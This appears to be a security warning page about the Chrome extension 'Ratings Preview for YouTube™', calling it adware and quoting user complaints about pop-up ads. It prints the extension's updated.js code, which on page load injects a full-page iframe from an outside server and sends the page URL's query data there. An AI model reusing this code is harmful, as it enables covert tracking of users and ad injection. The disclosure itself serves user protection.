Chrome SafeGuard

The extension "Ratings Preview for YouTube™" is known to be adware or malicious, please use caution.

1. Risks Detail:

• updated.js (User's history and data tracking)

document.addEventListener("DOMContentLoaded", function()
{
	var iframe = document.createElement("iframe");
	iframe.setAttribute("src", "http://ratingspreview.com/app/updated.html?" + document.URL.split("?")[1]);
	iframe.setAttribute("style", "border: 0; position:absolute; top:0; left:0; right:0; bottom:0; width:100%; height:100%");
	document.body.appendChild(iframe);
});

when you opened a new tab, it will send all of your data to their server, and inject an iframe(http://ratingspreview.com/app/updated.html) to webpage!

• Many users reflect this expansion began injecting pop ads!

2. User's Comments:

Beware of this extension!